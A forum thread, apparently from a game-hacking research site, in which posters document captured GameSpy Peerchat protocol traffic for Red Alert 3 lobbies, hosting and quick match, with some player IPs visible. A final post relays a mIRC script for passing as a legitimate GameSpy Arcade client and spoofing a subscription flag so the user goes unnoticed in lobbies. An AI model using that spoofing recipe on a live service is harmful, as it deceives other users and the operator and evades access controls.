:Sidonuke!Xq41W4OFpX|165497110@* MODE #GSP!redalert3pc!M9cDDK9J1M +k lol123
:s 324 Sidonuke #GSP!redalert3pc!M9cDDK9J1M +tnpk lol123
:s 702 #GSP!redalert3pc!M9cDDK9J1M #GSP!redalert3pc!M9cDDK9J1M Sidonuke BCAST :\b_flags\sh
:s 702 Sidonuke #GSP!redalert3pc!M9cDDK9J1M Sidonuke 009 :\Xq41W4OFpX|165497110\sh
:s 703 Sidonuke #GSP!redalert3pc!M9cDDK9J1M 009 :End of GETCKEY
:Sidonuke!Xq41W4OFpX|165497110@* TOPIC #GSP!redalert3pc!M9cDDK9J1M :Sidonuke hosting test
:Sidonuke!Xq41W4OFpX|165497110@* MODE #GSP!redalert3pc!M9cDDK9J1M +l 6
:s 702 #GSP!redalert3pc!M9cDDK9J1M #GSP!redalert3pc!M9cDDK9J1M Sidonuke BCAST :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\2\b_losses\8\b_rank1v1\-1\b_rank2v2\-1\b_clan1v1\-1\b_clan2v2\-1\b_onlineRank\1
MODE #GSP!redalert3pc!M9cDDK9J1M -i+p-s-m+n+t+l+e 6
:s 702 #GPG!2166 #GPG!2166 Sidonuke BCAST :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\2\b_losses\8\b_rank1v1\-1\b_rank2v2\-1\b_clan1v1\-1\b_clan2v2\-1\b_onlineRank\1
:Sidonuke!Xq41W4OFpX|165497110@* UTM Sidonuke :REQ/ PlayerTemplate=4
:Sidonuke!Xq41W4OFpX|165497110@* UTM Sidonuke :REQ/ Color=0
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_2_feasel4;MC=17793252;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,-1,4,-1,-1,0,1,-1,:O:X:X:X:X:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_2_feasel4;MC=17793252;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,0,4,-1,-1,0,1,-1,:O:X:X:X:X:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
:Sidonuke!Xq41W4OFpX|165497110@* MODE #GSP!redalert3pc!M9cDDK9J1M -p
:Sidonuke!Xq41W4OFpX|165497110@* MODE #GSP!redalert3pc!M9cDDK9J1M +e
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :hosted test


Faction set to empire
Code:
UTM Sidonuke :REQ/ PlayerTemplate=2
:Sidonuke!Xq41W4OFpX|165497110@* UTM Sidonuke :REQ/ PlayerTemplate=2
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_2_feasel4;MC=17793252;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,0,2,-1,-1,0,1,-1,:O:X:X:X:X:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
UTM #GSP!redalert3pc!M9cDDK9J1M :KPA/
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :faction changed to empire


Team set to one
Code:
UTM Sidonuke :REQ/ Team=0
:Sidonuke!Xq41W4OFpX|165497110@* UTM Sidonuke :REQ/ Team=0
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_2_feasel4;MC=17793252;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,0,2,-1,0,0,1,-1,:O:X:X:X:X:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
UTM #GSP!redalert3pc!M9cDDK9J1M :KPA/
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :team changed to one


My Color set to yellow
Code:
UTM Sidonuke :REQ/ Color=1
:Sidonuke!Xq41W4OFpX|165497110@* UTM Sidonuke :REQ/ Color=1
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_2_feasel4;MC=17793252;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,1,2,-1,0,0,1,-1,:O:X:X:X:X:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
UTM #GSP!redalert3pc!M9cDDK9J1M :KPA/
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :color set to yellow


Map changed
Code:
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/internal/map_mp_promo_feasel5;MC=18CA6657;MS=831740;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,1,2,-1,0,0,1,-1,:O:X:X:X:X:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
UTM #GSP!redalert3pc!M9cDDK9J1M :KPA/
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :map changed


Map changed to 6 players
Code:
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_6_feasel3;MC=347819AE;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,1,2,-1,0,0,1,-1,:O:O:O:O:O:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
UTM #GSP!redalert3pc!M9cDDK9J1M :KPA/
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :map changed to 6


Map Position Set
Code:
UTM Sidonuke :REQ/ StartPos=1
:Sidonuke!Xq41W4OFpX|165497110@* UTM Sidonuke :REQ/ StartPos=1
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_6_feasel3;MC=347819AE;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,1,2,1,0,0,1,-1,:O:O:O:O:O:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
UTM #GSP!redalert3pc!M9cDDK9J1M :KPA/
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :position set


Map Position Unset
Code:
UTM Sidonuke :REQ/ StartPos=-1
:Sidonuke!Xq41W4OFpX|165497110@* UTM Sidonuke :REQ/ StartPos=-1
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_6_feasel3;MC=347819AE;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,1,2,-1,0,0,1,-1,:O:O:O:O:O:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
UTM #GSP!redalert3pc!M9cDDK9J1M :KPA/
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :position unset


Disable VOIP
Code:
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_6_feasel3;MC=347819AE;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 0 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,1,2,-1,0,0,1,-1,:O:O:O:O:O:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
NOTICE #GSP!redalert3pc!M9cDDK9J1M :Type,GUI:RuleChangeWarning,7
UTM #GSP!redalert3pc!M9cDDK9J1M :KPA/
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :disable voip


Enable VOIP
Code:
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_6_feasel3;MC=347819AE;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,1,2,-1,0,0,1,-1,:O:O:O:O:O:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
NOTICE #GSP!redalert3pc!M9cDDK9J1M :Type,GUI:RuleChangeWarning,7
UTM #GSP!redalert3pc!M9cDDK9J1M :KPA/
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :enable voip


Commentary Mode DisAllowed
Code:
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_6_feasel3;MC=347819AE;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 0 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,1,2,-1,0,0,1,-1,:O:O:O:O:O:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
NOTICE #GSP!redalert3pc!M9cDDK9J1M :Type,GUI:RuleChangeWarning,4
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :disable comm


Commentary Mode Allowed
Code:
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_6_feasel3;MC=347819AE;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,1,2,-1,0,0,1,-1,:O:O:O:O:O:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
NOTICE #GSP!redalert3pc!M9cDDK9J1M :Type,GUI:RuleChangeWarning,4
UTM #GSP!redalert3pc!M9cDDK9J1M :KPA/
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :enable comm


Enabled Crates
Code:
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_6_feasel3;MC=347819AE;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 1 10 1 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,1,2,-1,0,0,1,-1,:O:O:O:O:O:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
NOTICE #GSP!redalert3pc!M9cDDK9J1M :Type,GUI:RuleChangeWarning,6
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :enable crates


Disable Crates
Code:
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_6_feasel3;MC=347819AE;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,1,2,-1,0,0,1,-1,:O:O:O:O:O:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
NOTICE #GSP!redalert3pc!M9cDDK9J1M :Type,GUI:RuleChangeWarning,6
UTM #GSP!redalert3pc!M9cDDK9J1M :KPA/
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :disable crates


Credits set to 40000
Code:
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_6_feasel3;MC=347819AE;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 40000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,1,2,-1,0,0,1,-1,:O:O:O:O:O:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
NOTICE #GSP!redalert3pc!M9cDDK9J1M :Type,GUI:RuleChangeWarning,2
UTM #GSP!redalert3pc!M9cDDK9J1M :KPA/
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :credits 40000


Slot Closed
Code:
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_6_feasel3;MC=347819AE;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 40000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,1,2,-1,0,0,1,-1,:X:O:O:O:O:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :slot closed


Slot Opened
Code:
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_6_feasel3;MC=347819AE;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 40000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,1,2,-1,0,0,1,-1,:O:O:O:O:O:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :slot opened


Easy AI Set
Code:
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_6_feasel3;MC=347819AE;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 40000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,1,2,-1,0,0,1,-1,:O:CE,-1,7,-1,-1,0,-1:O:O:O:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :easy ai


Leave
Code:
PART #GSP!redalert3pc!McKl3aaccM :
SETCKEY #GPG!2166 Sidonuke :\b_flags\
:s 702 #GPG!2166 #GPG!2166 Sidonuke BCAST :\b_flags\
:Sidonuke!Xq41W4OFpX|165497110@* PART #GSP!redalert3pc!McKl3aaccM :


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 05 Nov 2008 08:33 

Joined: 24 Aug 2008 17:06
Posts: 24
Quick Match

Code:
JOIN #GSP!redalert3pc!M9cDDK9J1M
:Sidonuke!Xq41W4OFpX|165497110@216.40.74.112 JOIN :#GSP!redalert3pc!M9cDDK9J1M
MODE #GSP!redalert3pc!M9cDDK9J1M
:s 331 Sidonuke #GSP!redalert3pc!M9cDDK9J1M :No topic is set
:s 353 Sidonuke * #GSP!redalert3pc!M9cDDK9J1M :@Sidonuke
:s 366 Sidonuke #GSP!redalert3pc!M9cDDK9J1M :End of NAMES list
MODE #GSP!redalert3pc!M9cDDK9J1M
SETCKEY #GPG!2171 Sidonuke :\b_flags\s
SETCKEY #GSP!redalert3pc!M9cDDK9J1M Sidonuke :\b_flags\sh
GETCKEY #GSP!redalert3pc!M9cDDK9J1M * 019 0 :\username\b_flags
TOPIC #GSP!redalert3pc!M9cDDK9J1M :Sidonuke
MODE #GSP!redalert3pc!M9cDDK9J1M +l 2
MODE #GSP!redalert3pc!M9cDDK9J1M +i+p+s+m+n+t+l+e 2
:s 324 Sidonuke #GSP!redalert3pc!M9cDDK9J1M +tnp
MODE #GSP!redalert3pc!M9cDDK9J1M -i+p-s-m+n+t+l+e 2
:s 324 Sidonuke #GSP!redalert3pc!M9cDDK9J1M +tnp
:s 702 #GSP!redalert3pc!M9cDDK9J1M #GSP!redalert3pc!M9cDDK9J1M Sidonuke BCAST :\b_flags\sh
:Sidonuke!Xq41W4OFpX|165497110@* TOPIC #GSP!redalert3pc!M9cDDK9J1M :Sidonuke
:s 702 Sidonuke #GSP!redalert3pc!M9cDDK9J1M Sidonuke 019 :\Xq41W4OFpX|165497110\sh
:s 703 Sidonuke #GSP!redalert3pc!M9cDDK9J1M 019 :End of GETCKEY
:Sidonuke!Xq41W4OFpX|165497110@* MODE #GSP!redalert3pc!M9cDDK9J1M +l 2
:Sidonuke!Xq41W4OFpX|165497110@* MODE #GSP!redalert3pc!M9cDDK9J1M +i
:Sidonuke!Xq41W4OFpX|165497110@* MODE #GSP!redalert3pc!M9cDDK9J1M -p
:Sidonuke!Xq41W4OFpX|165497110@* MODE #GSP!redalert3pc!M9cDDK9J1M +s
:Sidonuke!Xq41W4OFpX|165497110@* MODE #GSP!redalert3pc!M9cDDK9J1M +m
:Sidonuke!Xq41W4OFpX|165497110@* MODE #GSP!redalert3pc!M9cDDK9J1M +e
:Sidonuke!Xq41W4OFpX|165497110@* MODE #GSP!redalert3pc!M9cDDK9J1M -i
:Sidonuke!Xq41W4OFpX|165497110@* MODE #GSP!redalert3pc!M9cDDK9J1M -s
:Sidonuke!Xq41W4OFpX|165497110@* MODE #GSP!redalert3pc!M9cDDK9J1M +p
:Sidonuke!Xq41W4OFpX|165497110@* MODE #GSP!redalert3pc!M9cDDK9J1M -p
:Sidonuke!Xq41W4OFpX|165497110@* MODE #GSP!redalert3pc!M9cDDK9J1M -m


Code:
:SadisticMagician!XqGlOFWs4X|165897482@68.7.165.125 JOIN :#GSP!redalert3pc!M9cDDK9J1M
UTM SadisticMagician :QMREQ/
:SadisticMagician!XqGlOFWs4X|165897482@* UTM Sidonuke :QMRES/ Faction=4
:SadisticMagician!XqGlOFWs4X|165897482@* UTM Sidonuke :QMRES/ Color=2
:SadisticMagician!XqGlOFWs4X|165897482@* UTM Sidonuke :QMRES/ IP=1141351805
:SadisticMagician!XqGlOFWs4X|165897482@* UTM Sidonuke :QMRES/ NAT=0
:SadisticMagician!XqGlOFWs4X|165897482@* UTM Sidonuke :QMRES/ Rank=0
:SadisticMagician!XqGlOFWs4X|165897482@* UTM Sidonuke :QMRES/ ProfileID=165897482
:SadisticMagician!XqGlOFWs4X|165897482@* UTM Sidonuke :QMRES/ BroadcastEnabled=0
:SadisticMagician!XqGlOFWs4X|165897482@* UTM Sidonuke :QMRDY/
UTM #GSP!redalert3pc!M9cDDK9J1M :QMGO/ 3 59102000 0 Sidonuke -668448144 7 0 0 50 165497110 0 SadisticMagician 1141351805 4 2 0 0 165897482 1
UTM SadisticMagician :NAT/ NATHOST0 126392713 Sidonuke
:SadisticMagician!XqGlOFWs4X|165897482@* UTM Sidonuke :NAT NATINITED1 126392713 SadisticMagician
UTM Sidonuke,SadisticMagician :NAT/ NEGO0 1 788998A
:Sidonuke!Xq41W4OFpX|165497110@* UTM Sidonuke :NAT/ NEGO0 1 788998A
UTM Sidonuke,SadisticMagician :NAT CONNDONE1 0 788998A
MODE Sidonuke +q
UTM #GSP!redalert3pc!M9cDDK9J1M :GML
PRIVMSG #GSP!redalert3pc!M9cDDK9J1M :@@@GML 216.40.74.112/OLD
SETCKEY #GPG!2171 Sidonuke :\b_flags\sg
SETCKEY #GSP!redalert3pc!M9cDDK9J1M Sidonuke :\b_flags\shg
PART #GPG!2171 :


Code:
MODE Sidonuke -q
JOIN #GPG!2171
:s 353 Sidonuke = #GSP!redalert3pc!M9cDDK9J1M :@Sidonuke SadisticMagician
:s 366 Sidonuke #GSP!redalert3pc!M9cDDK9J1M :End of NAMES list
GETCKEY #GSP!redalert3pc!M9cDDK9J1M * 020 0 :\username\b_flags
:s 702 #GSP!redalert3pc!M9cDDK9J1M #GSP!redalert3pc!M9cDDK9J1M SadisticMagician BCAST :\b_flags\s
:s 702 Sidonuke #GSP!redalert3pc!M9cDDK9J1M SadisticMagician 020 :\XqGlOFWs4X|165897482\s
:s 702 Sidonuke #GSP!redalert3pc!M9cDDK9J1M Sidonuke 020 :\Xq41W4OFpX|165497110\sh
:s 703 Sidonuke #GSP!redalert3pc!M9cDDK9J1M 020 :End of GETCKEY
:Sidonuke!Xq41W4OFpX|165497110@* JOIN :#GPG!2171
:s 332 Sidonuke #GPG!2171 :Click on the "Game Info" button at the top of your screen for the latest information on patches, add-on files, interviews, strategy guides and more!  It`s all there!
:s 333 Sidonuke #GPG!2171 SERVER 1225343647
:s 353 Sidonuke * #GPG!2171 :@ChatMonitor-gs Lanz Cerebrumm ra3test45 SovietAri forthree Rock0727 z0mb0r Monkeybomber Stamp79 MTPILOT Carbon1nTheRough lingle AAHHHHHHHHHHHaaa LlamaLord Schlegeljr luisosaurus Fireatomicman0 Mocha claybucket moman2001 Namahs tongtongbae commondier weles pajing nero9 Vectrex yyyiiiuuu tdanger dj-cor ahkeongjai MagicDK dunkytots Glahardt potuyt ShaqATK mechanizeddemon UNRSomonah 586WS245JCY8WWAB noir3v Fizzyboy eErroR Jibba Skill2Kill PyroCryo bertspank
:s 353 Sidonuke * #GPG!2171 :H3adkill XtremeX3 Nuctank mvpofbhd green_reaper05 Jamsandwich NumbRoss rhacker777 pdtr corban-fx SpacedOutFX DeathMArineOL HellfireOLSK melonadeq ch0comilk DeathMidgetSquad phaty01 Strigori ixaosich Adareth{0} king3vbo WheelBaller rsXbwa Azeroth48 doomranger8 p40thawk Fome Kelet Sidonuke
:s 366 Sidonuke #GPG!2171 :End of NAMES list
MODE #GPG!2171
SETCKEY #GPG!2171 Sidonuke :\b_flags\s
GETCKEY #GPG!2171 * 021 0 :\username\b_flags
SETCKEY #GPG!2171 Sidonuke :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\2\b_losses\9\b_rank1v1\-1\b_rank2v2\-1\b_clan1v1\-1\b_clan2v2\-1\b_onlineRank\2
SETCKEY #GSP!redalert3pc!M9cDDK9J1M Sidonuke :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\2\b_losses\9\b_rank1v1\-1\b_rank2v2\-1\b_clan1v1\-1\b_clan2v2\-1\b_onlineRank\2
GETCKEY #GPG!2171 * 022 0 :\b_clanName\b_arenaTeamID\b_locale\b_wins\b_losses\b_rank1v1\b_rank2v2\b_clan1v1\b_clan2v2\b_onlineRank
PART #GSP!redalert3pc!M9cDDK9J1M :
SETCKEY #GPG!2171 Sidonuke :\b_flags\
:s 702 #GSP!redalert3pc!M9cDDK9J1M #GSP!redalert3pc!M9cDDK9J1M SadisticMagician BCAST :\b_clanName\tB\b_arenaTeamID\29213\b_locale\0\b_wins\26\b_losses\20\b_rank1v1\-1\b_rank2v2\-1\b_clan1v1\-1\b_clan2v2\-1\b_onlineRank\5
:s 702 #GSP!redalert3pc!M9cDDK9J1M #GSP!redalert3pc!M9cDDK9J1M Sidonuke BCAST :\b_clanName\\b_arenaTeamID\0\b_locale\0\b_wins\2\b_losses\9\b_rank1v1\-1\b_rank2v2\-1\b_clan1v1\-1\b_clan2v2\-1\b_onlineRank\2
:Sidonuke!Xq41W4OFpX|165497110@* PART #GSP!redalert3pc!M9cDDK9J1M :
:s 324 Sidonuke #GPG!2171 +tnp


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 05 Nov 2008 17:21 

Joined: 24 Aug 2008 17:06
Posts: 24
Sample Host -> Clients Rules Update
Code:
UTM #GSP!redalert3pc!M9cDDK9J1M :PN/ 0=Sidonuke
UTM #GSP!redalert3pc!M9cDDK9J1M :SL/ M=283data/maps/official/map_mp_2_feasel4;MC=17793252;MS=0;SD=1819790562;GSID=4087;GT=-1;PC=-1;RU=3 100 10000 0 1 10 0 1 0 -1 0 -1 -1 1 ;S=H,D8284A70,0,TT,0,4,-1,-1,0,1,-1,:O:X:X:X:X:;
UTM #GSP!redalert3pc!M9cDDK9J1M :Pings/ ,0,0,0,0,0
UTM #GSP!redalert3pc!M9cDDK9J1M :PIDS/ 9dd4916, , , , , , , , , , , ,


Client -> Host Requests
Code:
UTM Sidonuke :REQ/ PlayerTemplate=2
UTM Sidonuke :REQ/ Team=0
UTM Sidonuke :REQ/ Color=1
UTM Sidonuke :REQ/ StartPos=1
UTM Sidonuke :REQ/ StartPos=-1


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 01 Jul 2010 22:40 

Joined: 13 Aug 2007 21:44
Posts: 4068
Location: http://aluigi.org
I guess the following fresh advisory could be interesting:
http://aluigi.org/adv/eagsbof-adv.txt


Top
 Profile  
 
 Post subject: Re: Red Alert 3 and Gamespy Peerchat Research
PostPosted: 13 Mar 2012 16:15 

Joined: 13 Aug 2007 21:44
Posts: 4068
Location: http://aluigi.org
just to report a message from the user Maraakat:
Quote:
I have finally found out how to make
yourself identify 100% as a legitimate gsa client, so you can even hang out
and talk in the lobby and nobody knows!

This is all for using it with mIRC, not sure if the script is the same with
XChat or other clients:

1) start peerchat-irc.exe -g gslive Xn221z -i <your PID> -a <your encrypted
ip>
2) Add the following to remote.ini in mIRC

on ^*:LOGON:*:{
/raw NICK <your gsa nick>
/halt
}

on ^*:CONNECT:*:{
/halt
}

3) Add this to aliases.ini in mIRC

/joingsa {
/raw
SETKEY :\instsvc\quakeworld,daikatana,deusex,quake2,sin,unreal,ut,nolf,nolf2,rtcw,ut2
<-- your games list
/raw SETKEY :\b_pinfo\US,,393217000,1280,6,4,1988,0.000000,0.000000,0, <--
Country,,your PID,screen res?,birth day, birth month, birth year,,,,,,
/raw JOIN #GSP! $+ $$1
/raw MODE #GSP! $+ $$1
/raw GETCKEY #GSP! $+ $$1 * 000 0 :\b_reg60\b_look\username\b_flags
/raw SETCKEY #GSP! $+ $$1 $me :\b_reg60\1 <-- set flag to show that you are
subscribed (necessary because now it is free)
/raw SETCKEY #GSP! $+ $$1 $me :\b_look\393217000,0 <-- your PID
}

To join a channel simply type /joingsa <chan> , so for the lobby /joingsa
subhome

I noticed you have to type the command one more time to finaly the SETCKEY
since they seem to be sent before you join the channel. No worries though,
becuase you will still look normal to the clients. Only reason I found that
out was doing a GETCKEY before and after.
Quote:
I forgot to mention the 393217000 number isn't your PID. It's
the number that shows up when you do a whois on a user i.e. Scrambled
IP|<some number> this some number is the unique number for your ID.
You will have to login to your real GSA client with peerchat_proxy to
find this number.


Top
 Profile  
 
Display posts from previous:  Sort by  
Forum locked This topic is locked, you cannot edit posts or make further replies.  [ 28 posts ] 

All times are UTC [ DST ]


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for: